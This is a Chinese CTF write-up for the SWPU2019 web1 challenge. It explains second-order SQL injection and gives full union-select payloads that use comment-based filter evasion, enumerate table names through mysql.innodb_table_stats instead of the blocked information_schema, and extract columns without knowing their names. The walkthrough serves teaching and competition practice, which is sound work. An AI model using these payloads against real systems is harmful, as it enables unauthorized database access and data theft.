[WP-SWPU2019]web1/二次注入原理和利用/information_schema的替代方案

本文深入探讨了SQL二次注入的原理,即恶意语句在转义后存入数据库,再在查询时恢复,导致安全漏洞。常见场景如博客评论、广告发布和密码修改服务。解题策略包括回显位猜解、数据库名、表名和字段的爆破。提到了如information_schema和mysql.innodb_table_stats等保存数据库结构的表。强调了对取出数据进行验证的重要性,以及如何通过SQL查询技巧进行漏洞利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

二次注入

原理

查询前对输入进行转义处理,导致注入无法生效。

恶意语句插入到了数据库当中,导致恶意数据被读取并进入到SQL查询语句时,进行了数据查询操作,造成了注入,导致了恶意语句的执行。

产生原因
  • 恶意语句保存到数据库之前,特殊字符会被转义,写入时又复原为原来的数据。
  • 默认数据库数据是安全的,没有对取出的数据进行检验。
可能场景
  • 博客评论系统:添加评论时,用户将信息保存在数据库当中,再次查询时,恶意语句被查询语句引用,造成了二次注入。
  • 广告发布:同上
  • 登录状态下的密码修改服务(update修改其他用户密码)

解题

回显位猜解
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

// 2,3为回显位
数据库名
-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

// web1
爆破表名

information_schema.tables包含敏感字符,依次尝试了以下视图

  • sys.schema_auto_increment_columns
  • sys.schema_table_statistics_with_buffer
  • mysql.innodb_table_stats

最后发现,只有mysql.innodb_table_stats能够成功得到表名

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

// users
爆破字段
-1'union/**/select/**/1,(select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)tb),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

补充:

保存数据库结构的表或视图
  • information_schema (数据字典)

    • table_schema,table_name,column_name
  • sys.schema_auto_increment_columns

    • mysql5.7新增
    • 作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名
    • 数据来源于information_schema
    • table_schema,table_name,column_name
  • sys.schema_table_statistics_with_buffer

    • 存储所有数据库所有表的统计信息
    • table_name,table_schema
    • 类似的
      • schema_table_statistics
      • ps_schema_table_statistics_io
      • x$ps_schema_table_statistics_io
      • x$schema_table_statistics
      • x$schema_table_statistics_with_buffer
  • mysql.innodb_table_stats

    • 类似的,mysql.innodb_index_stats
    • mysql默认存储引擎innoDB携带的表
    • database_name,table_name,index_name(索引)
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值